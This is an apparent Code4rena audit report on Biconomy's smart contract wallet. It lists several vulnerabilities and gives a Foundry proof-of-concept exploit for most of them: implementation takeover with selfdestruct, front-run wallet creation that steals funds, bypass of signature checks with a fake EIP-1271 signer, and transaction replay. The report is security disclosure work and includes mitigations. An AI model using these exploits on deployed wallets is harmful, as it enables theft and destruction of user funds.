Biconomy - Smart Contract Wallet contest - 0xdeadbeef0x's results

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L18

Vulnerability details

Impact

Current deployment process does not initialize the implementation contract of SmartAccount Once a hacker initializes the implementation, the hacker will be able to delegatecall to a contract that calls the selfdestruct opcode:

Since the Proxy does not have a way to upgrade the implementation proxy, all smart wallets created by Biconomy will be destroyed.

Impact: All user funds will be lost

Proof of Concept

Wallet creation overview

Wallet creation done through SmartWalletFactory. The factory is deployed with an address of the implementation https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L19

constructor(address _baseImpl) {
        require(_baseImpl != address(0), "base wallet address can not be zero");
        _defaultImpl = _baseImpl;
    }

When a user deposit funds a new SmartAccount is created through the factory using the deployCounterFactualWallet function: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L38

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
        // EOA + Version tracking
        emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

As can be seen above, the SmartAccount _defaultImpl address is passed to the constructor of the Proxy that is created from the factory.

The Proxy stores the implementation address and delegatecalls any call to it. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/Proxy.sol#L15

constructor(address _implementation) {
         assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("biconomy.scw.proxy.implementation")) - 1));
         assembly {
             sstore(_IMPLEMENTATION_SLOT,_implementation) 
         }
    }

    fallback() external payable {
        address target;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            target := sload(_IMPLEMENTATION_SLOT)
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 {revert(0, returndatasize())}
            default {return (0, returndatasize())}
        }
    }

A chart explaining the wallet creation process can be seen in Biconomy docs: https://biconomy.notion.site/image/https%3A%2F%2Fs3-us-west-2.amazonaws.com%2Fsecure.notion-static.com%2F38a1c333-ceac-4ceb-9a1f-7a912937fa94%2FWallet_Creation.jpg?id=efddde4c-b3db-47b7-b8bc-0f75375224af&table=block&spaceId=25dc957f-e7fd-41fb-a6a6-55939771f1ed&width=2000&userId=&cache=v2

Current state of SmartAccount implementation contract

In the current deployment scripts there is no initialization of the implementation contract: https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/scripts/smart-wallet/deploy.ts

The only initialization is done through the Proxy in the storage context of the Proxy contract which is deployed for every user.

On testnets such as goerli the implementation is not initialized. You can see the owner is the zero address: https://goerli.etherscan.io/address/0x0e7f3e1e133fce16f08d577f4f209d6415115940#readContract#F15

Exploiting an uninitialized SmartAccount implementation

To become an owner, an attacker needs to call the init function of the SmartAccount contract: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L166

function init(address _owner, address _entryPointAddress, address _handler) public override initializer { 
        require(owner == address(0), "Already initialized");
        require(address(_entryPoint) == address(0), "Already initialized");
        require(_owner != address(0),"Invalid owner");
        require(_entryPointAddress != address(0), "Invalid Entrypoint");
        require(_handler != address(0), "Invalid Entrypoint");
        owner = _owner;
        _entryPoint =  IEntryPoint(payable(_entryPointAddress));
        if (_handler != address(0)) internalSetFallbackHandler(_handler);
        setupModules(address(0), bytes(""));
    }

By design, an owner of a smart wallet (SmartAccount) can create transactions that delegatecall, The transaction can be executed through the execTransaction: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L229

function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {
--------
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);
        }
--------
            success = execute(_tx.to, _tx.value, _tx.data, _tx.operation, refundInfo.gasPrice == 0 ? (gasleft() - 2500) : _tx.targetTxGas);
---------
        }
    }

A delegate call from the implementation contract to a function that has the selfdestruct opcode will remove the bytecode of SmartAccount implementation from the chain. Because the proxy contract uses the implementation address of the SmartAccount contract, EOA's will not be able to interact with their smart wallets.

Foundry POC

The POC will demonstrate a full attack from initializing the implementation to the destruction of the implementation. It will show that the implementation does not exist and EOAs cannot interact with the wallet.

The POC was built using the Foundry framework which allowed me to validate the vulnerability against the state of deployed contract on goerli (Without interacting with them directly). This was approved by the sponsor.

The POC uses two goerli addresses for the implementation address and the proxy: implementation: 0x0e7f3e1e133fcE16F08D577F4F209d6415115940 proxy: 0x11dc228AB5BA253Acb58245E10ff129a6f281b09

You will need to install a foundry. Please follow these instruction for the setup: https://book.getfoundry.sh/getting-started/installation

After installing, create a workdir by issuing the command: forge init --no-commit

Create the following file in test/ImplementationTakeoverAndSelfDestruct.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract Enum {
    enum Operation {Call, DelegateCall}
}
interface SmartAccount {
    function init(address, address, address) external;
    function execute(address, uint, bytes calldata) external;
    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) external payable returns (bool success); 
    function encodeTransactionData(
        Transaction memory _tx,
        FeeRefund memory refundInfo,
        uint256 _nonce
    ) external view returns (bytes memory);
    function getNonce(uint256 batchId) external view returns (uint256);
}
struct Transaction {
        address to;
        uint256 value;
        bytes data;
        Enum.Operation operation;
        uint256 targetTxGas;
    }
struct FeeRefund {
        uint256 baseGas;
        uint256 gasPrice; //gasPrice or tokenGasPrice
        uint256 tokenGasPriceFactor;
        address gasToken;
        address payable refundReceiver;
    }

contract SelfDestructingContract {
    // All this does is self destruct and send funds to "to"
    function selfDestruct(address to) external {
        selfdestruct(payable(to));
    }
}

contract ImplementationTakeoverAndSelfDestruct is Test {
    SmartAccount implementation = SmartAccount(0x0e7f3e1e133fcE16F08D577F4F209d6415115940);
    SmartAccount proxySmartAccount = SmartAccount(0x11dc228AB5BA253Acb58245E10ff129a6f281b09);
    address hacker = vm.addr(0x1337);
    SelfDestructingContract sdc;

    function setUp() public {
        // Create self destruct contract
        sdc = new SelfDestructingContract();
        // Impersonate hacker
        vm.startPrank(hacker);
        // Take ownership of implementation contract of SmartAccount
        implementation.init(hacker, hacker, hacker);
        // Create the calldata to call the selfDestruct function of SelfDestructingContract and send funds to hacker 
        bytes memory data = abi.encodeWithSelector(sdc.selfDestruct.selector, hacker);
        // Create transaction specifing SelfDestructingContract as target and as a delegate call
        Transaction memory transaction = Transaction(address(sdc), 0, data, Enum.Operation.DelegateCall, 1000000);
        // Create FeeRefund
        FeeRefund memory fr = FeeRefund(100, 100, 100, hacker, payable(hacker));
        // Sign the transaction details by the hacker
        bytes32 transactionHash = keccak256(implementation.encodeTransactionData(transaction, fr, implementation.getNonce(0)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(0x1337, transactionHash);
        // Pack signature to send
        bytes memory signatures = abi.encodePacked(r,s,v);
        // Call execTransaction to delegatecall to selfdestruct of the implementation contract.
        implementation.execTransaction(transaction, 0, fr, signatures);
        vm.stopPrank();
    }

    function testImplementationlDoesNotExist() public {
        uint size;
        // Validate that bytecode size at implementation is 0 becuase of self destruct 
        address impl = address(implementation);
        assembly {
          size := extcodesize(impl)
        }
        assertEq(size,0);
    }

    function testRevertWhenCallingProxy() public {
        // Revert when trying to call a function in the proxy 
        proxySmartAccount.getNonce(0);
    }
}

To run the POC and validate that the implementation does not exist after destruction:

forge test -m testImplementationlDoesNotExist -v --fork-url="<GOERLI FORK RPC>"

Expected output:

Running 1 test for test/ImplementationTakeoverAndSelfDestruct.t.sol:ImplementationTakeoverAndSelfDestruct
[PASS] testImplementationlDoesNotExist() (gas: 4932)
Test result: ok. 1 passed; 0 failed; finished in 4.98s

To run the POC and validate that the EOA cannot interact with wallet after destruction:

forge test -m testRevertWhenCallingProxy -v --fork-url="<GOERLI FORK RPC>"

Expected output:

Failing tests:
Encountered 1 failing test in test/ImplementationTakeoverAndSelfDestruct.t.sol:ImplementationTakeoverAndSelfDestruct
[FAIL. Reason: EvmError: Revert] testRevertWhenCallingProxy() (gas: 9922)

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

In the constructor of implementation add a _disableInitializers from the already imported Initializable contract. This will prevent anyone from calling the init function in the implementation.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L34

Vulnerability details

Impact

Anyone can create a smart account for an EOA using the Biconomy SDK and the SmartAccountFactory.

The SmartAccountFactory wallet creation function can be abused to create a smart account for an EOA with a malicious EntryPoint and handler before the account is created by the Biconomy SDK.

Impacts:

1. Theft of funds - Wallet creation is recommended by Biconomy SDK to be done at the EOA's first deposit/transaction. A hacker can create a smart account for the EOA as the owner and assign himself as the EntryPoint address. This will allow him to change the owner after deposit and lock the owner out and withdraw the funds to himself.
2. Denial of service - If a dApp tries to create an account for the EOA but the hacker front-runs and creates the account before (with setting the EntryPoint and handler to a hacker controlled account. The hacker can change the owner and lock the EOA out of the wallet.

Proof of Concept

Smart account wallets are created using the SmartAccountFactory. The factory's deployCounterFactualWallet uses the following parameters to create a unique and predictable address for an EOA wallet:

• owner - Address of the EOA
• _index - number used in order to deploy more EOA wallets
• Proxy creation code - the code of the proxy to implement
• _defaultImpl - implementation contract address SmartAccount
• Factory address - the address used to call create2. https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L38

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
        bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
        // solhint-disable-next-line no-inline-assembly
        assembly {
            proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
        }
        require(address(proxy) != address(0), "Create2 call failed");
        // EOA + Version tracking
        emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
        BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
        isAccountExist[proxy] = true;
    }

Notice that _entryPoint and _handler are not part of the salt calculations but are part of the SmartAccount initialization.

A hacker can create a smart wallet for an EOA owner with a malicious _entryPoint and _handler. The address generated would be the same as a "legitimate" wallet creation.

In the EOAs/dApps point of view, a smart wallet was created/already exists.

A hacker that is set as an EntryPoint can execute arbitrary transactions from the smart wallet https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L490

function execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit) external onlyEntryPoint returns (bool success) {        
        success = execute(dest, value, func, operation, gasLimit);
        require(success, "Userop Failed");
    }

Consider the following scenario:

1. Hacker front runs onboarding, creates a smart wallet for the EOA and sets himself as the _entryPoint
2. EOA does onboarding through a dApp
3. EOA deposits funds to smart wallet
4. Hacker calls execFromEntryPoint to steal the deposited funds or change the owner of the contract to himself

(A sophisticated hacker would change the implementation contract to include a backdoor for him to drain the funds in a later stage)

Foundry POC

The POC will demonstrate a scenario that a hacker creates a wallet for an EOA with himself set as the EntryPoint. The hacker will deposit 10 ether. The hacker will steal the 10 ether and change the owner of the wallet to himself.

The POC was built using the Foundry framework which allowed me to validate the vulnerability against the state of deployed contract on goerli (Without interacting with them directly). This was approved by the sponsor.

The POC uses the goerli addresses for the SmartAccountFactory address: SmartAccountFactory: 0xCde47060485B5dc415a6069Ca48c0Fa597F76B99

You will need to install a foundry. Please follow these instruction for the setup: https://book.getfoundry.sh/getting-started/installation

After installing, create a workdir by issuing the command: forge init --no-commit

Create the following file in test/StealEOAFundsAndLockOut.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract Enum {
    enum Operation {Call, DelegateCall}
}
interface SmartAccount {
    function execFromEntryPoint(
        address dest, uint value, bytes calldata func, Enum.Operation operation,
        uint256 gas) external  returns (bool success);
    function setOwner(address _newOwner) external;
    function owner() external returns (address owner);

}

interface SmartAccountFactory {
    function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) 
    external returns(address proxy);
}

contract StealEOAFundsAndLockOut is Test {
    SmartAccountFactory factory = SmartAccountFactory(0xCde47060485B5dc415a6069Ca48c0Fa597F76B99);

    address hacker = vm.addr(0x1337);
    address EOA = vm.addr(0x1111);

    function setUp() public {
        // Fund hacker with 0 ether and EOA with 10 ether
        vm.deal(hacker, 0);
        vm.deal(EOA, 10 ether);
    }

    function testStealFundsAndLockOutEOA() public {
        uint256 fundsToDepost = 10 ether;

        // Hacker creates wallet for EOA with himself as EntryPoint
        vm.prank(hacker);
        SmartAccount wallet = SmartAccount(factory.deployCounterFactualWallet(address(EOA), address(hacker), address(hacker), 0));

        // EOA deposit 10 ether into the wallet
        vm.prank(EOA);
        address(wallet).call{value: fundsToDepost}("");

        // Hacker steal the 10 ether deposited
        vm.prank(hacker);
        wallet.execFromEntryPoint(hacker, fundsToDepost, abi.encode(), Enum.Operation.Call, 100000);

        // Validate that the hacker has drained the 10 ether from the wallet
        assertEq(hacker.balance, fundsToDepost);
        
        // Hacker changes the owner of the wallet to himself
        bytes memory changeOwnerData = abi.encodeWithSelector(SmartAccount.setOwner.selector, address(hacker));
        vm.prank(hacker);
        wallet.execFromEntryPoint(address(wallet), 0, changeOwnerData, Enum.Operation.Call, 100000);

        // Validate that the owner is the hacker, EOA locked out.
        assertEq(wallet.owner(), address(hacker));
    }
}

To run the POC and validate that the 10 ether is stolen and EOA is locked out execute:

forge test -m testStealFundsAndLockOutEOA -v --fork-url="<GOERLI FORK RPC>"

Expected output:

Running 1 test for test/StealEOAFundsAndLockOut.t.sol:StealEOAFundsAndLockOut
[PASS] testStealFundsAndLockOutEOA() (gas: 309922)
Test result: ok. 1 passed; 0 failed; finished in 3.54s

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

Consider adding the EntryPoint and handler into to calculation of the salt in the factory. This will prevent a hacker from changing these important addresses and get the same predicted address.

Change: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L34

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
------
    }

To:

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
        bytes32 salt = keccak256(abi.encodePacked(_entryPoint, _handler, _owner, address(uint160(_index))));
------
    }

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342

Vulnerability details

Impact

A hacker can create arbitrary transaction through the smart wallet by evading signature validation.

Major impacts:

1. Steal all funds from the smart wallet and destroy the proxy
2. Lock the wallet from EOAs by updating the implementation contract
   1. New implementation can transfer all funds or hold some kind of ransom
   2. New implementation can take time to unstake funds from protocols

Proof of Concept

The protocol supports contract signed transactions (eip-1271). The support is implemented in the checkSignature call when providing a transaction: https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L218 https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L342

function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {
---------
            checkSignatures(txHash, txHashData, signatures);
        }
---------
            success = execute(_tx.to, _tx.value, _tx.data, _tx.operation, refundInfo.gasPrice == 0 ? (gasleft() - 2500) : _tx.targetTxGas);
---------
        }
    }

function checkSignatures(
        bytes32 dataHash,
        bytes memory data,
        bytes memory signatures
    ) public view virtual {
----------
        if(v == 0) {
----------
            _signer = address(uint160(uint256(r)));
----------
                require(uint256(s) >= uint256(1) * 65, "BSA021");
----------
                require(uint256(s) + 32 <= signatures.length, "BSA022");
-----------
                assembly {
                    contractSignatureLen := mload(add(add(signatures, s), 0x20))
                }
                require(uint256(s) + 32 + contractSignatureLen <= signatures.length, "BSA023");
-----------
                require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
-----------
    }

checkSignature DOES NOT Validate that the _signer or caller is the owner of the contract.

A hacker can craft a signature that bypasses the signature structure requirements and sets a hacker controlled _signer that always return EIP1271_MAGIC_VALUE from the isValidSignature function.

As isValidSignature returns EIP1271_MAGIC_VALUE and passed the requirements, the function checkSignatures returns gracefully and the transaction execution will continue. Arbitrary transactions can be set by the hacker.

Impact #1 - Self destruct and steal all funds

Consider the following scenario:

1. Hacker creates FakeSigner that always returns EIP1271_MAGIC_VALUE
2. Hacker creates SelfDestructingContract that selfdestructs when called
3. Hacker calls the smart wallets execTransaction function
   1. The transaction set will delegatecall to the SelfDestructingContract function to selfdestruct
   2. The signature is crafted to validate against hacker controlled FakeSigner that always returns EIP1271_MAGIC_VALUE
4. Proxy contract is destroyed
   1. Hacker received all funds that were in the wallet

Impact #2 - Update implementation and lock out EOA

1. Hacker creates FakeSigner that always returns EIP1271_MAGIC_VALUE
2. Hacker creates MaliciousImplementation that is fully controlled ONLY by the hacker
3. Hacker calls the smart wallets execTransaction function
   1. The transaction set will call to the the contracts updateImplementation function to update the implementation to MaliciousImplementation. This is possible because updateImplementation permits being called from address(this)
   2. The signature is crafted to validate against hacker controlled FakeSigner that always returns EIP1271_MAGIC_VALUE
4. Implementation was updated to MaliciousImplementation
   1. Hacker transfers all native and ERC20 tokens to himself
   2. Hacker unstakes EOA funds from protocols
   3. Hacker might try to ransom the protocol/EOAs to return to previous implementation
5. Proxy cannot be redeployed for the existing EOA

Foundry POC

The POC will demonstrate impact #1. It will show that the proxy does not exist after the attack and EOAs cannot interact with the wallet.

The POC was built using the Foundry framework which allowed me to validate the vulnerability against the state of deployed contract on goerli (Without interacting with them directly). This was approved by the sponsor.

The POC use a smart wallet proxy contract that is deployed on goerli chain: proxy: 0x11dc228AB5BA253Acb58245E10ff129a6f281b09

You will need to install a foundry. Please follow these instruction for the setup: https://book.getfoundry.sh/getting-started/installation

After installing, create a workdir by issuing the command: forge init --no-commit

Create the following file in test/DestroyWalletAndStealFunds.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract Enum {
    enum Operation {Call, DelegateCall}
}
interface SmartAccount {
    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) external payable returns (bool success); 
    function getNonce(uint256 batchId) external view returns (uint256);
}
struct Transaction {
        address to;
        uint256 value;
        bytes data;
        Enum.Operation operation;
        uint256 targetTxGas;
    }
struct FeeRefund {
        uint256 baseGas;
        uint256 gasPrice; //gasPrice or tokenGasPrice
        uint256 tokenGasPriceFactor;
        address gasToken;
        address payable refundReceiver;
    }
contract FakeSigner {
    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b;

    // Always return valid EIP1271_MAGIC_VALUE
    function isValidSignature(bytes memory data, bytes memory contractSignature) external returns (bytes4) {
        return EIP1271_MAGIC_VALUE;
    }
}
contract SelfDestructingContract {
    // All this does is self destruct and send funds to "to"
    function selfDestruct(address to) external {
        selfdestruct(payable(to));
    }
}

contract DestroyWalletAndStealFunds is Test {
    SmartAccount proxySmartAccount = SmartAccount(0x11dc228AB5BA253Acb58245E10ff129a6f281b09);
    address hacker = vm.addr(0x1337);
    SelfDestructingContract sdc;
    FakeSigner fs;
    function setUp() public {
        // Create self destruct contract
        sdc = new SelfDestructingContract();
        // Create fake signer
        fs = new FakeSigner();

        // Impersonate hacker
        vm.startPrank(hacker);
        // Create the calldata to call the selfDestruct function of SelfDestructingContract and send funds to hacker 
        bytes memory data = abi.encodeWithSelector(sdc.selfDestruct.selector, hacker);
        // Create transaction specifing SelfDestructingContract as target and as a delegate call
        Transaction memory transaction = Transaction(address(sdc), 0, data, Enum.Operation.DelegateCall, 1000000);
        // Create FeeRefund
        FeeRefund memory fr = FeeRefund(100, 100, 100, hacker, payable(hacker));

        bytes32 fakeSignerPadded = bytes32(uint256(uint160(address(fs))));
        // Add fake signature (r,s,v) to pass all requirments.
        // v=0 to indicate eip-1271 signer "fakeSignerPadded" which will always return true
        bytes memory signatures = abi.encodePacked(fakeSignerPadded, bytes32(uint256(65)),uint8(0), bytes32(0x0));
        // Call execTransaction with eip-1271 signer to delegatecall to selfdestruct of the proxy contract.
        proxySmartAccount.execTransaction(transaction, 0, fr, signatures);
        vm.stopPrank();
    }

    function testProxyDoesNotExist() public {
        uint size;
        // Validate that bytecode size of the proxy contract is 0 becuase of self destruct 
        address proxy = address(proxySmartAccount);
        assembly {
          size := extcodesize(proxy)
        }
        assertEq(size,0);
    }

    function testRevertWhenCallingWalletThroughProxy() public {
        // Revert when trying to call a function in the proxy 
        proxySmartAccount.getNonce(0);
    }
}

To run the POC and validate that the proxy does not exist after destruction:

forge test -m testProxyDoesNotExist -v --fork-url="<GOERLI FORK RPC>"

Expected output:

Running 1 test for test/DestroyWalletAndStealFunds.t.sol:DestroyWalletAndStealFunds
[PASS] testProxyDoesNotExist() (gas: 4976)
Test result: ok. 1 passed; 0 failed; finished in 4.51s

To run the POC and validate that the EOA cannot interact with the wallet after destruction:

forge test -m testRevertWhenCallingWalletThroughProxy -v --fork-url="<GOERLI FORK RPC>"

Expected output:

Failing tests:
Encountered 1 failing test in test/DestroyWalletAndStealFunds.t.sol:DestroyWalletAndStealFunds
[FAIL. Reason: EvmError: Revert] testRevertWhenCallingWalletThroughProxy() (gas: 5092)

Tools Used

Foundry, VS Code

Recommended Mitigation Steps

The protocol should validate before calling isValidSignature that _signer is owner

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212

Vulnerability details

Impact

SmartAccount supports 2D nonces that enable transactions to be executed in parallel and not be blocked.

The implementation opens up an attack vector of replaying signed transaction using different batchId's

Impact - Hackers are able to replay transactions. This can result in loss of funds.

Proof of Concept

Transactions that are executed through execTransaction are signed using the nonce VALUE but do not include the nonce ID (batchId) The batchId is caller controlled and is only used to get the nonce VALUE for the batchId https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212

    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) public payable virtual override returns (bool success) {
-------
        bytes32 txHash;
        {
            bytes memory txHashData =
                encodeTransactionData(
                    // Transaction info
                    _tx,
                    // Payment info
                    refundInfo,
                    // Signature info
                    nonces[batchId] // @audit only nonce value is used in hash calculation
                );
---------
            txHash = keccak256(txHashData);
            checkSignatures(txHash, txHashData, signatures);
        }

nonces[batchId] can be same for multiple batchId's.

Example: For the first transaction nonces[0] == nonces[1] == 0

A hacker can call execTransaction with an already executed Transaction and a batchId that will return the same nonce. The transaction will be replayed and executed.

Consider the following example scenario:

1. EOA opens a smart wallet.
2. EOA funds the wallet by transferring to it 20 ETH
3. EOA owes Bob 10 ether, it uses the dApp to sign a transaction that will pay Bob 10 ether and executes it.
4. Bob exploits the vulnerability to replay the transaction with a different batchId. Bob receives another 10 ether.

Foundry POC

The POC will demonstrate the above scenario. Bob will be able to replay the transaction and receive 20 ether total.

The POC was built using the Foundry framework which allowed me to validate the vulnerability against the state of deployed contract on goerli (Without interacting with them directly). This was approved by the sponsor.

The POC uses the goerli address for the factory: factory: 0xCde47060485B5dc415a6069Ca48c0Fa597F76B99

You will need to install foundry. Please follow these instruction for the setup: https://book.getfoundry.sh/getting-started/installation

After installing, create a workdir by issuing the command: forge init --no-commit

Create the following file in test/ReplayTransaction.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";

contract Enum {
    enum Operation {Call, DelegateCall}
}
interface SmartAccount {
    function execTransaction(
        Transaction memory _tx,
        uint256 batchId,
        FeeRefund memory refundInfo,
        bytes memory signatures
    ) external payable returns (bool success); 
    function getNonce(uint256 batchId) external view returns (uint256);
    function encodeTransactionData(
        Transaction memory _tx,
        FeeRefund memory refundInfo,
        uint256 _nonce
    ) external view returns (bytes memory);
    function owner() external returns (address owner);
}
struct Transaction {
        address to;
        uint256 value;
        bytes data;
        Enum.Operation operation;
        uint256 targetTxGas;
    }
struct FeeRefund {
        uint256 baseGas;
        uint256 gasPrice; //gasPrice or tokenGasPrice
        uint256 tokenGasPriceFactor;
        address gasToken;
        address payable refundReceiver;
    }
interface SmartAccountFactory {
    function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) 
    external returns(address proxy);
}
contract ReplayTransaction is Test {
    SmartAccountFactory factory = SmartAccountFactory(0xCde47060485B5dc415a6069Ca48c0Fa597F76B99);
    address entryPoint = 0x20cFdBcD64cD85fD6Af506DDa4C12b25379481cF;
    address handler = 0x0bc0C08122947bE919a02f9861D83060d34EA478;
    SmartAccount proxySmartAccount;
    address bob = vm.addr(0x1337);
    address owner;

    function setUp() public {
        // Create Smart Acount for EOA owner 
        owner = vm.addr(0x1111);
        proxySmartAccount = SmartAccount(factory.deployCounterFactualWallet(owner, entryPoint, handler, 0));

        // Fund Smart Account with 20 ether
        vm.deal(address(proxySmartAccount), 20 ether);
    }

    function testReplayTransaction() public {
        uint256 payBobAmount = 10 ether;
        // Create transaction of wallet sending Bob 10 ether
        bytes memory data = new bytes(0);
        Transaction memory transaction = Transaction(bob, payBobAmount, data, Enum.Operation.Call, 0);

        // Create FeeRefund (doesn't need to be setup correctly)
        FeeRefund memory fr = FeeRefund(100, 100, 100, bob, payable(bob));

        // Create a transaction using nounce of batchId = 1 and sign the transaction by the owner
        uint256 batchId = 1;
        bytes32 transactionHash = keccak256(proxySmartAccount.encodeTransactionData(transaction, fr, proxySmartAccount.getNonce(batchId)));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(0x1111, transactionHash);
        
        // Pack signature to send
        bytes memory signatures = abi.encodePacked(r,s,v);

        // Call execTransaction with batchId (1)
        proxySmartAccount.execTransaction(transaction, batchId, fr, signatures);

        // Call execTransaction using the same signature and transaction with batchId (2)
        batchId = 2;
        proxySmartAccount.execTransaction(transaction, batchId, fr, signatures);

        // Validate that bob received 20 ether.
        assertEq(bob.balance, payBobAmount * 2);
    }
}

To run the POC and validate that Bob received 20 ether

forge test -m testReplayTransaction -v --fork-url="<GOERLI FORK RPC>"

Expected output:

Running 1 test for test/ReplayTransaction.t.sol:ReplayTransaction
[PASS] testReplayTransaction() (gas: 162537)
Test result: ok. 1 passed; 0 failed; finished in 3.70s

Tools Used

VS Code, Foundry

Recommended Mitigation Steps

Consider Including the batchId as part of the transaction signature to fix the vulnerability.

Alternatively, the default value of a nonce could be different for each batchId which makes the likelihood of the the attack lower.

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L216

Vulnerability details

Impact

The protocol supports 2D nonces through a batchId mechanism. Due to different ways to execute transaction on the wallet there could be a collision between batchIds being used.

This can result in unexpected failing of transactions

Proof of Concept

There are two main ways to execute transaction from the smart wallet

1. Via EntryPoint - calls execFromEntryPoint/execute
2. Via execTransaction

SmartAccount has locked the batchId #0 to be used by the EntryPoint. When an EntryPoint calls validateUserOp before execution, the hardcoded nonce of batchId #0 will be incremented and validated, https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L501

    // @notice Nonce space is locked to 0 for AA transactions
    // userOp could have batchId as well
    function _validateAndUpdateNonce(UserOperation calldata userOp) internal override {
        require(nonces[0]++ == userOp.nonce, "account: invalid nonce");
    }

Calls to execTransaction are more immediate and are likely to be executed before a UserOp through EntryPoint. There is no limitation in execTransaction to use batchId #0 although it should be called only by EntryPoint.

